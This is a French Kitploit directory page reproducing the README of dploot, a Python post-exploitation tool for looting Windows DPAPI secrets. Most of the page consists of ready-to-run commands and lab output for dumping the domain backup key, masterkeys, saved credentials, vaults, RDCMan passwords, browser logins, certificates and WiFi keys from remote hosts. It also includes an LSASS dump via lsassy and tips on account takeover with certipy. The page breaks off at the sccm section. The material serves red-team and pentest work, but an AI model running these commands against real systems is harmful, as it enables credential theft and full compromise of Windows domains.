Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
dploot — Pillage de DPAPI à distance et en local en Python | Kitploit
Outils/GitHubGitHub/zblurx/dploot
Outils de Chiffrement/DéchiffrementPost-ExploitationCriminalistique NumériqueTests d'IntrusionSécurité CloudRed Teaming
GitHubzblurx/dploot

dploot

Pillage de DPAPI à distance et en local en Python

Voir le dépôt
55575il y a 5 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

dploot

dploot est une réécriture Python de SharpDPAPI écrit en C# par Harmj0y, qui est lui-même un portage de DPAPI depuis Mimikatz par gentilkiwi. Il implémente toute la logique DPAPI de ces outils, mais cette fois-ci il est utilisable avec un interpréteur Python et depuis un environnement Linux.

Si vous ne savez pas ce qu'est DPAPI, consultez cet article.

Table des matières

  • dploot
    • Table des matières
    • Installation
    • Usage
      • Kerberos
    • Comment utiliser
      • En tant qu'administrateur local sur la machine
      • Avec un accès hors ligne au système de fichiers Windows
      • En tant qu'administrateur de domaine (ou équivalent)
      • Sans être administrateur de domaine
    • Commandes
      • Triage utilisateur
        • masterkeys
        • credentials
        • vaults
        • rdg
        • certificates
        • browser
        • triage
      • Triage machine
        • machinemasterkeys
        • machinecredentials
        • machinevaults
        • machinecertificates
        • machinetriage
      • Divers
        • wifi
        • sccm
        • backupkey
        • mobaxterm
        • wam
        • blob
    • Crédits

Installation

Vous pouvez installer dploot directement depuis PyPI avec pipx:```text pipx install git+https://github.com/zblurx/dploot.git

root@kitploit:~
OU```text
pipx install dploot

Sur Kali Linux, vous pouvez installer dploot depuis les dépôts :```text sudo apt install python3-dploot

root@kitploit:~
## Utilisation```text
dploot (https://github.com/zblurx/dploot) v3.1.2 by @_zblurx
usage: dploot [-h]
              {backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi} ...

DPAPI looting locally remotely in Python

positional arguments:
  {backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
                        Action
    backupkey           Backup Keys from domain controller
    blob                Decrypt DPAPI blob. Can fetch masterkeys on target
    browser             Dump users credentials and cookies saved in browser from local or remote target
    certificates        Dump users certificates from local or remote target
    credentials         Dump users Credential Manager blob from local or remote target
    machinecertificates
                        Dump system certificates from local or remote target
    machinecredentials  Dump system credentials from local or remote target
    machinemasterkeys   Dump system masterkey from local or remote target
    machinetriage       Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
    machinevaults       Dump system vaults from local or remote target
    masterkeys          Dump users masterkey from local or remote target
    mobaxterm           Dump Passwords and Credentials from MobaXterm
    rdg                 Dump users saved password information for RDCMan.settings from local or remote target
    sccm                Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
    triage              Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
    vaults              Dump users Vaults blob from local or remote target
    wam                 Dump users cached azure tokens from local or remote target
    wifi                Dump wifi profiles from local or remote target

options:
  -h, --help            show this help message and exit

Kerberos

dploot peut s'authentifier avec Kerberos. Utilisez simplement l'option -k. Si vous souhaitez utiliser un ticket mis en cache, utilisez l'option -use-kcache.

Comment utiliser

L'objectif de dploot est de simplifier le butin lié à DPAPI depuis une machine Linux. Comme SharpDPAPI, la façon d'utiliser cet outil dépendra de si vous avez compromis le domaine ou non.

En tant qu'administrateur local sur la machine

Lorsque vous êtes administrateur local d'un ordinateur Windows, vous pouvez récupérer les secrets machine, par exemple avec machinecertificates (ou toute autre commande de Machine Triage, ou la commande wifi) :```text $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -quiet [-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx

root@kitploit:~
### Avec un accès hors ligne au système de fichiers Windows

Une autre façon d'obtenir un accès administrateur local à un système, par exemple via un accès physique, en extrayant le disque et en montant le système de fichiers directement sur votre machine. Pour utiliser ce mode, spécifiez `LOCAL` comme cible. Par défaut, le système de fichiers cible est censé être le répertoire courant ; vous pouvez spécifier un chemin différent avec `-root` :```text
$ dploot sccm -root /media/C_drive/ -t LOCAL
[*] Connected to LOCAL as \ (admin)

Il peut toujours être utile de fournir un nom d'utilisateur et un mot de passe valides comme arguments, qui seront utilisés pour déchiffrer les masterkeys (voir les instructions dans User Triage ci-dessous):```text $ dploot masterkeys -root /mnt -u bob -p Password -t LOCAL [*] Connected to LOCAL as \bob (admin)

root@kitploit:~
### En tant qu'administrateur de domaine (ou équivalent)

Si vous disposez de privilèges d'administrateur de domaine, vous pouvez obtenir la clé de sauvegarde DPAPI du domaine avec la commande backupkey. Cette clé peut déchiffrer toutes les clés maîtresses DPAPI des utilisateurs et des ordinateurs du domaine, et elle ne change jamais. Par conséquent, cette clé permet à un attaquant de piller tout mot de passe protégé par DPAPI lié à un utilisateur du domaine.

Pour obtenir la clé de sauvegarde du domaine, vous pouvez utiliser la commande [backupkey](#backupkey) :```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.112 -quiet
[-] Exporting domain backupkey to file key.pvk

Ensuite, vous pouvez récupérer tous les secrets d'utilisateur stockés sur un ordinateur Windows joint à un domaine sur le réseau, par exemple avec la commande certificates (ou toute autre commande User Triage):``` $ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -pvk key.pvk -quiet [-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx [-] Writting certificate to jsmith_waza.local_D0C73E2C04BEAAB0.pfx [-] Writting certificate to m.scott_waza.local_EB9C21A5642D4EBD.pfx

root@kitploit:~
### Pas en tant qu'administrateur de domaine

Si les privilèges d'administrateur de domaine n'ont pas (encore) été obtenus, l'utilisation de la commande sekurlsa::dpapi de Mimikatz récupérera les correspondances {GUID}:SHA1 des clés maîtresses DPAPI chargées (utilisateur et SYSTEM) sur un système donné (astuce : l'exécution de dpapi::cache après l'extraction des clés vous donnera un joli tableau). Si vous convertissez ces clés au format {GUID1}:SHA1 {GUID2}:SHA1..., elles peuvent être fournies à dploot pour trier la machine. Vous pouvez également utiliser [lsassy](https://github.com/Hackndo/lsassy) pour récolter les clés maîtresses déchiffrées :```text
$ lsassy -u Administrator -p 'Password!123' -d waza.local -t 192.168.56.14 -m rdrleakdiag -M masterkeys
[+] 192.168.56.14 Authentication successful
[+] 192.168.56.14 Lsass dumped in C:\Windows\Temp\ff32F.fon (57121318 Bytes)
[+] 192.168.56.14 Lsass dump deleted
[+] 192.168.56.14 WAZA\DESKTOP-OJ3N8TJ$        [NT] 0e43c22a4b09520cf79ca19a9e1bbec7 | [SHA1] 2ce587ab64aa3488c5ed412ca1e554d0f8e5a411
(snip)
[+] 192.168.56.14 5 masterkeys saved to /data/masterkeys

Ensuite, vous pouvez utiliser ce fichier masterkey pour piller l'ordinateur ciblé, par exemple avec la commande browser (ou toute autre commande de User Triage) :```text $ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -mkfile /data/masterkeys [*] Connected to 192.168.56.14 as waza.local\Administrator (admin)

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA] URL: Username: [email protected] Password: Waza1234

root@kitploit:~
Vous pouvez également extraire les hashs de masterkey avec l'option `-hashes-outputfile` de [dploot masterkeys](#masterkeys)

## Commandes

### Triage utilisateur

#### masterkeys

La commande **masterkeys** récupère tous les fichiers de masterkey d'utilisateur et les déchiffre avec la combinaison `-passwords FILE` de user:password, la combinaison `-nthashes` de user:nthash ou une clé de sauvegarde de domaine `-pvk PVKFILE`. Elle renvoie un ensemble de correspondances de masterkey {GUID}:SHA1. Notez qu'elle essaiera d'utiliser le mot de passe ou le nthash que vous avez utilisé pour vous connecter à la cible, même si vous ne spécifiez pas les options correspondantes. Vous pouvez également utiliser `-hashes-outputfile` pour obtenir tous les hashs de masterkey au format Hashcat/JtR afin de casser le mot de passe en clair.

*Avec la clé de sauvegarde de domaine*:```text
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
{68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

Avec mot de passe:```text $ cat passwords jsmith:Password#123 $ dploot masterkeys -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -passwords passwords [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

root@kitploit:~
***Astuces***: *Avec le flag `outputfile`, dploot masterkeys ajoutera les masterkeys dérobées dans un fichier spécifié. Il n'y a aucun problème à stocker toutes les masterkeys dans le même fichier, car un DPAPI BLOB stocke le GUID de la masterkey qui sera nécessaire pour la déchiffrer.*

#### credentials

La commande **credentials** recherche les fichiers Credential des utilisateurs et les déchiffre avec `-mkfile FILE` contenant un ou plusieurs {GUID}:SHA1, ou avec `-passwords FILE` une combinaison user:password, `-nthashes` une combinaison user:nthash, ou un `-pvk PVKFILE` pour déchiffrer d'abord les masterkeys.

Avec `mkfile` :```text
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Credentials for ALL USERS

[CREDENTIAL]
LastWritten : 2022-04-12 16:55:44
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=test
Description :
Unknown     :
Username    : test
Unknown     : Password#{123}

[CREDENTIAL]
LastWritten : 2022-04-27 19:23:02
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=TERMSRV/srv01.waza.local
Description :
Unknown     :
Username    : DESKTOP-I60R2L6\Administrator
Unknown     : Password!123

Avec pvk :```text $ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage Credentials for ALL USERS

[CREDENTIAL] LastWritten : 2022-05-19 10:25:06 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:target=myserver.com Description : Unknown : Username : Administrator Unknown : Naga2019*

root@kitploit:~
#### vaults

La commande **vaults** recherche les secrets des Vaults des utilisateurs et les déchiffre avec `-mkfile FILE` contenant un ou plusieurs {GUID}:SHA1, ou avec `-passwords FILE` des combinaisons user:password, `-nthashes` des combinaisons user:nthash ou un `-pvk PVKFILE` pour déchiffrer d'abord les clés maîtres.

Avec `mkfile`:```text
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage Vaults for ALL USERS

[VAULT_VPOL_KEYS]
Key1: 0x552f5d5b454d3a53aec4ff458539de02
Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b

[Internet Explorer]
Username        : test
Resource        : http://testphp.vulnweb.com/
Password        : b'74006500730074000000'

Decoded Password: test

Avec pvk :```text $ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22

[*] Triage Vaults for ALL USERS

[VAULT_VPOL_KEYS] Key1: 0x552f5d5b454d3a53aec4ff458539de02 Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b

[Internet Explorer] Username : test Resource : http://testphp.vulnweb.com/ Password : b'74006500730074000000'

Decoded Password: test

root@kitploit:~
#### rdg

La commande **rdg** recherchera les secrets des fichiers RDCMan.settings des utilisateurs et les déchiffrera avec `-mkfile FILE` d'un ou plusieurs {GUID}:SHA1, ou avec `-passwords FILE` combinaison user:password, `-nthashes` combinaison user:nthash ou un `-pvk PVKFILE` pour déchiffrer d'abord les masterkeys.

Avec `mkfile` :```text
$ dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage RDCMAN Settings and RDG files for ALL USERS

[CREDENTIAL PROFILES]
	Profile Name:	WAZA\Administrator
	Username:	WAZA\Administrator
	Password:	Placeholder1234567890

[LOGON PROFILES]
	Profile Name:	Custom
	Username:	WAZA\Administrator
	Password:	Password!123

[SERVER PROFILES]
	Name:		DC01.waza.local
	Profile Name:	Custom
	Username:	WAZA\jdoe
	Password:	Password#123

[SERVER PROFILES]
	Name:		SRV01.waza.local
	Profile Name:	Custom
	Username:	WAZA\jfile
	Password:	Password#123

Avec pvk:```text dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage RDCMAN Settings and RDG files for ALL USERS

[CREDENTIAL PROFILES] Profile Name: WAZA\Administrator Username: WAZA\Administrator Password: Placeholder1234567890

[LOGON PROFILES] Profile Name: Custom Username: WAZA\Administrator Password: Password!123

[SERVER PROFILES] Name: DC01.waza.local Profile Name: Custom Username: WAZA\jdoe Password: Password#123

[SERVER PROFILES] Name: SRV01.waza.local Profile Name: Custom Username: WAZA\jfile Password: Password#123

root@kitploit:~
#### certificates

La commande **certificates** recherchera les certificats des utilisateurs dans *MY* et les déchiffrera avec `-mkfile FILE` d'un ou plusieurs {GUID}:SHA1, ou avec `-passwords FILE` combinaison de user:password, `-nthashes` combinaison de user:nthash ou un `-pvk PVKFILE` pour d'abord déchiffrer les masterkeys.

Avec `mkfile` :```text
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Certificates for ALL USERS

Issuer:			CN=waza-ADCS1-CA,DC=waza,DC=local
Subject:		CN=John Smith,CN=Users,DC=waza,DC=local
Valid Date:		2022-05-24 09:51:33
Expiry Date:		2023-05-24 09:51:33
Extended Key Usage:
	Unknown OID (1.3.6.1.4.1.311.10.3.4)
	emailProtection (1.3.6.1.5.5.7.3.4)
	clientAuth (1.3.6.1.5.5.7.3.2)
	[!] Certificate is used for client auth!

-----BEGIN CERTIFICATE-----
MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F
ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph
MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy
(snip)
c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H
DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0
/j2bsWqbT/fCx+AgCT65VRk=
-----END CERTIFICATE-----


[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx

Avec pvk:```text $ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage Certificates for ALL USERS

Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local Subject: CN=John Smith,CN=Users,DC=waza,DC=local Valid Date: 2022-05-24 09:51:33 Expiry Date: 2023-05-24 09:51:33 Extended Key Usage: Unknown OID (1.3.6.1.4.1.311.10.3.4) emailProtection (1.3.6.1.5.5.7.3.4) clientAuth (1.3.6.1.5.5.7.3.2) [!] Certificate is used for client auth!

-----BEGIN CERTIFICATE----- MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy (snip) c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0 /j2bsWqbT/fCx+AgCT65VRk= -----END CERTIFICATE-----

[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx

root@kitploit:~
Par défaut, l'outil ne récupérera que les certificats utilisés pour l'authentification client, mais avec `-dump-all`, vous pouvez tous les récolter.

***Astuces***: *Si vous obtenez un certificat avec une EKU d'authentification client, vous pouvez prendre le contrôle du compte avec [certipy](https://github.com/ly4k/Certipy).*

#### browser

La commande **browser** recherchera les mots de passe des utilisateurs et les cookies dans les navigateurs basés sur Chrome, et les déchiffrera avec `-mkfile FILE` d'un ou plusieurs {GUID}:SHA1, ou avec la combinaison `-passwords FILE` de user:password, la combinaison `-nthashes` de user:nthash ou un `-pvk PVKFILE` pour d'abord déchiffrer les clés maîtres.

Avec `mkfile` :```text
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA]
URL:		
Username:	admin
Password:	Password!123

Avec pvk :```text $ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA] URL: Username: admin Password: Password!123

root@kitploit:~
Pour afficher les cookies stockés, utilisez l'option `-show-cookies`. 

Depuis juillet 2024, [les navigateurs basés sur Chromium prennent en charge le chiffrement App Bound Key](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html). TLDR : Pour vider les cookies Chromium (et bientôt les mots de passe), vous devez déchiffrer les masterkeys de l'utilisateur ET du SYSTÈME. Cette option est prise en charge avec le flag `-v20-support`. 

#### triage

La commande **triage** exécute les commandes utilisateur [credentials](#credentials), [vaults](#vaults), [rdg](#rdg), et [certificates](#certificates).

### Machine Triage

#### machinemasterkeys

La commande **machinemasterkeys** extrait les secrets LSA avec RemoteRegistry pour récupérer la clé DPAPI_SYSTEM qui sera ensuite utilisée pour déchiffrer toute masterkey machine trouvée. Elle retournera un ensemble de correspondances masterkey {GUID}:SHA1.```text
$ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db

machinecredentials

La commande machinecredentials récupérera tout fichier de Credentials machine trouvé et les déchiffrera avec -mkfile FILE d'un ou plusieurs {GUID}:SHA1, sinon dploot videra la clé secrète LSA DPAPI_SYSTEM afin de déchiffrer toute masterkey machine, puis déchiffrera tout blob DPAPI XXX chiffré trouvé.```text $ dploot machinecredentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{07e6e8d6-7eae-4780-9aac-641818ddd9bb}:ddb9fa17d4e9ab12[...] {a87bcad8-5ed9-4f09-a9f7-34d77e20d0d4}:e4661cd36f07bb1f[...] {d03a0e3b-b616-4a29-8795-9ca09960de35}:a45fdd01699bfbc5[...] {69b3f620-eca1-45c1-a003-f1d0a8598c57}:2862216b21e96fa6[...] {9a270191-3f43-46d1-9935-5892dca2a9a2}:d3cb43dd6645d26d[...] {e85c4ab7-65d3-45df-9abe-829c2ead1c5f}:c2a118094fb7cf85[...]

[*] Triage SYSTEM Credentials

[CREDENTIAL] LastWritten : 2022-05-06 15:51:53 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:batch=TaskScheduler:Task:{31424469-6CCD-4137-8DFF-541872FD3CBB} Description : Unknown : Username : WAZA\Administrator Unknown : Password!123

root@kitploit:~
#### machinevaults

La commande **machinevaults** récupérera tous les fichiers machine Vaults trouvés et les déchiffrera avec `-mkfile FILE` d'un ou plusieurs {GUID}:SHA1, sinon dploot extraira la clé secrète DPAPI_SYSTEM LSA afin de déchiffrer toutes les masterkeys machine, puis déchiffrera tout blob DPAPI Vaults chiffré trouvé.```text
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage SYSTEM masterkeys

{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049

[*] Triage SYSTEM Vaults

[VAULT_VPOL_KEYS]
Key1: 0x8a3dad10ce6ae44ba1700d1060cc28c4
Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5

machinecertificates

La commande machinecertificates récupérera tout fichier de clé privée machine trouvé et les déchiffrera avec -mkfile FILE d'un ou plusieurs {GUID}:SHA1, sinon dploot videra la clé secrète LSA DPAPI_SYSTEM. afin de déchiffrer toute clé maîtresse machine, puis de déchiffrer tout blob de clé privée DPAPI chiffré trouvé.

Elle videra également le blob de certificats CAPI machine avec RemoteRegistry.```text $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349 {c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46 {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89 {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049 {9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db

[*] Triage SYSTEM Certificates

Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local Subject: CN=DESKTOP-OJ3N8TJ.waza.local Valid Date: 2022-06-11 10:31:16 Expiry Date: 2023-06-11 10:31:16 Extended Key Usage: clientAuth (1.3.6.1.5.5.7.3.2) serverAuth (1.3.6.1.5.5.7.3.1) [!] Certificate is used for client auth!

-----BEGIN CERTIFICATE----- MIIFjTCCBHWgAwIBAgITewAAAAXrqLLiBZJG3AAAAAAABTANBgkqhkiG9w0BAQ0F ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph (snip) nXZ6/pA+XGqQwHG/hWG2TR5Ivjzoy+OjAgu44LqucC8Pw3wWToVWCKxdGgZcXqHE TXrQnLFK+nWqjrvJsM/O6HgNJbG/lqF/sogux3FLmW7a -----END CERTIFICATE-----

[-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx

root@kitploit:~
***Astuces***: *Si vous obtenez un certificat avec l'EKU d'authentification client, vous pouvez prendre le contrôle du compte avec [certipy](https://github.com/ly4k/Certipy).*

#### machinetriage

La commande machinetriage exécute les [machinecredentials](#machinecredentials), [machinevaults](#machinevaults) et [machinecertificates](#machinecertificates).

### Divers

#### wifi

La commande **wifi** récupérera tous les fichiers de configuration XML wifi et les déchiffrera avec `-mkfile FILE` contenant un ou plusieurs {GUID}:SHA1 ; sinon, dploot extraira la clé secrète DPAPI_SYSTEM LSA afin de déchiffrer les masterkeys machine, puis déchiffrera tout blob de clé privée DPAPI chiffré trouvé.```text
$ dploot wifi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db

[*] Triage ALL WIFI profiles

[WIFI]
SSID:		Wifi_G
AuthType:	WPA2PSK
Encryption:	AES
Preshared key:	AzErTy1234567890QwSxDcFvG

[WIFI]
SSID:		EAP_TLS
AuthType:	WPA2 EAP
Encryption:	AES
EAP Type:	EAP TLS

EapHostConfig:
  EapMethod:
    Type: 13
    VendorId: 0
    VendorType: 0
    AuthorId: 0
  Config:
    Eap:
      Type: 13
      EapType:
        CredentialsSource:
          CertificateStore:
            SimpleCertSelection: true
        ServerValidation:
          DisableUserPromptForServerValidation: false
          ServerNames: None
        DifferentUsername: false
        PerformServerValidation: true
        AcceptServerName: false

[snip]

sccm

